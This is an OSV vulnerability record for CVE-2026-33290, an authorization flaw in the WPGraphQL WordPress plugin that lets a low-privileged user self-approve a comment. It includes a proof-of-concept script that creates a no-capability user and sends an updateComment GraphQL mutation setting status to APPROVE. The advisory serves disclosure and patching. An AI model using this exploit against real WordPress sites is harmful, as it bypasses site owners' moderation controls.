{"id":"CVE-2026-33290","summary":"WPGraphQL Repo's updateComment allows low-privileged authenticated users to change comment moderation status (comment_approved) without moderate_comments permission","details":"WPGraphQL provides a GraphQL API for WordPress sites. Prior to version 2.10.0, an authorization flaw in updateComment allows an authenticated low-privileged user (including a custom role with zero capabilities) to change moderation status of their own comment (for example to APPROVE) without the moderate_comments capability. This can bypass moderation workflows and let untrusted users self-approve content. Version 2.10.0 contains a patch.\n\n### Details\n\nIn WPGraphQL 2.9.1 (tested), authorization for updateComment is owner-based, not field-based:\n\n- plugins/wp-graphql/src/Mutation/CommentUpdate.php:92 allows moderators.\n- plugins/wp-graphql/src/Mutation/CommentUpdate.php:99:99 also allows the comment owner, even if they lack moderation capability.\n- plugins/wp-graphql/src/Data/CommentMutation.php:94:94 maps GraphQL input status directly to WordPress comment_approved.\n- plugins/wp-graphql/src/Mutation/CommentUpdate.php:120:120 persists that value via wp_update_comment.\n- plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22 exposes moderation states (APPROVE, HOLD, SPAM, TRASH).\n\nThis means a non-moderator owner can submit status during update and transition moderation state.\n\n### PoC\n\nTested in local wp-env (Docker) with WPGraphQL 2.9.1.\n\n1. Start environment:\n\n  npm install\n  npm run wp-env start\n\n2. Run this PoC:\n\n```\n  npm run wp-env run cli -- wp eval '\n  add_role(\"no_caps\",\"No Caps\",[]);\n  $user_id = username_exists(\"poc_nocaps\");\n  if ( ! $user_id ) {\n    $user_id = wp_create_user(\"poc_nocaps\",\"Passw0rd!\",\"poc_nocaps@example.com\");\n  }\n  $user = get_user_by(\"id\",$user_id);\n  $user-\u003eset_role(\"no_caps\");\n\n  $post_id = wp_insert_post([\n    \"post_title\" =\u003e \"PoC post\",\n    \"post_status\" =\u003e \"publish\",\n    \"post_type\" =\u003e \"post\",\n    \"comment_status\" =\u003e \"open\",\n  ]);\n\n  $comment_id = wp_insert_comment([\n    \"comment_post_ID\" =\u003e $post_id,\n    \"comment_content\" =\u003e \"pending comment\",\n    \"user_id\" =\u003e $user_id,\n    \"comment_author\" =\u003e $user-\u003edisplay_name,\n    \"comment_author_email\" =\u003e $user-\u003euser_email,\n    \"comment_approved\" =\u003e \"0\",\n  ]);\n\n  wp_set_current_user($user_id);\n\n  $result = graphql([\n    \"query\" =\u003e \"mutation U(\\$id:ID!){ updateComment(input:{id:\\$id,status:APPROVE}){ success comment{ databaseId status } } }\",\n    \"variables\" =\u003e [ \"id\" =\u003e (string)$comment_id ],\n  ]);\n\n  echo wp_json_encode([\n    \"role_caps\" =\u003e array_keys(array_filter((array)$user-\u003eallcaps)),\n    \"status\" =\u003e $result[\"data\"][\"updateComment\"][\"comment\"][\"status\"] ?? null,\n    \"db_comment_approved\" =\u003e get_comment($comment_id)-\u003ecomment_approved ?? null,\n    \"comment_id\" =\u003e $comment_id\n  ]);\n  '\n```\n\n3. Observe result:\n\n- role_caps is empty (or no moderate_comments)\n- mutation returns status: APPROVE\n- DB value becomes comment_approved = 1\n\n### Impact\n\nThis is an authorization bypass / broken access control issue in comment moderation state transitions. Any deployment using WPGraphQL comment mutations where low-privileged users can make comments is impacted. Moderation policy can be bypassed by self-approving content.","aliases":["GHSA-9hc3-mh5h-4fgh"],"modified":"2026-04-10T05:42:42.840817Z","published":"2026-03-23T23:58:57.345Z","database_specific":{"cwe_ids":["CWE-862"],"osv_generated_from":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33290.json","cna_assigner":"GitHub_M"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33290.json"},{"type":"WEB","url":"https://github.com/wp-graphql/wp-graphql/releases/tag/wp-graphql%2Fv2.10.0"},{"type":"ADVISORY","url":"https://github.com/wp-graphql/wp-graphql/security/advisories/GHSA-9hc3-mh5h-4fgh"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33290"}],"affected":[{"ranges":[{"type":"GIT","repo":"https://github.com/wp-graphql/wp-graphql","events":[{"introduced":"0"},{"fixed":"4b51388d93e9752634e64dbf7e10625779d3601b"}],"database_specific":{"versions":[{"introduced":"0"},{"fixed":"2.10.0"}]}}],"versions":["0.0.2","0.0.3","0.0.5","1.2.2","v0.0.10","v0.0.11","v0.0.12","v0.0.13","v0.0.14","v0.0.15","v0.0.16","v0.0.18","v0.0.20","v0.0.21","v0.0.22","v0.0.23","v0.0.24","v0.0.25","v0.0.26","v0.0.27","v0.0.28","v0.0.29","v0.0.30","v0.0.31","v0.0.32","v0.0.33","v0.0.34","v0.0.6","v0.0.7","v0.0.8","v0.0.9","v0.1.0","v0.1.1","v0.1.2","v0.1.3","v0.1.4","v0.10.0","v0.10.1","v0.10.2","v0.10.3","v0.11.0","v0.12.0","v0.12.1","v0.12.2","v0.12.3","v0.13.0","v0.13.1","v0.13.2","v0.13.3","v0.14.0","v0.15.0","v0.15.1","v0.15.2","v0.15.3","v0.15.4","v0.15.6","v0.2.0","v0.2.1","v0.2.2","v0.2.3","v0.3.0","v0.3.01","v0.3.2","v0.3.5","v0.3.6","v0.3.7","v0.3.8","v0.4.0","v0.4.1","v0.4.2","v0.4.3","v0.5.0","v0.5.1","v0.6.0","v0.6.1","v0.6.2","v0.6.3","v0.7.0","v0.7.1","v0.8.0","v0.8.1","v0.8.2","v0.8.3","v0.8.4","v0.9.0","v0.9.1","v1.0","v1.0.1","v1.0.2","v1.0.3","v1.0.4","v1.0.5","v1.1.0","v1.1.1","v1.1.2","v1.1.3","v1.1.4","v1.1.5","v1.1.8","v1.10.0","v1.11.0","v1.11.1","v1.11.2","v1.11.3","v1.12.0","v1.12.1","v1.12.2","v1.12.3","v1.13.0","v1.13.1","v1.13.2","v1.13.3","v1.13.4","v1.13.5","v1.13.6","v1.13.7","v1.14.3","v1.2.1","v1.2.4","v1.2.5","v1.2.6","v1.3.0","v1.3.1","v1.3.10","v1.3.2","v1.3.3","v1.3.4","v1.3.5","v1.3.6","v1.3.7","v1.3.8","v1.3.9","v1.4.0","v1.4.1","v1.4.2","v1.4.3","v1.4.7","v1.5.0","v1.5.1","v1.5.2","v1.5.3","v1.5.4","v1.5.5","v1.5.6","v1.5.7","v1.5.8","v1.6.0","v1.6.1","v1.6.10","v1.6.11","v1.6.12","v1.6.2","v1.6.3","v1.6.4","v1.6.5","v1.6.6","v1.6.7","v1.6.8","v1.6.9","v1.7.0","v1.7.1","v1.7.2","v1.8.0","v1.8.1","v1.8.2","v1.8.3","v1.8.4","v1.8.5","v1.8.6","v1.8.7","v1.9.0","v1.9.1","wp-graphql-acf/v2.5.0","wp-graphql-acf/v2.5.1","wp-graphql-ide/v4.1.0","wp-graphql-smart-cache/v2.0.1","wp-graphql/v2.7.0","wp-graphql/v2.8.0","wp-graphql/v2.9.0","wp-graphql/v2.9.1"],"database_specific":{"source":"https://storage.googleapis.com/cve-osv-conversion/osv-output/CVE-2026-33290.json"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N"}]}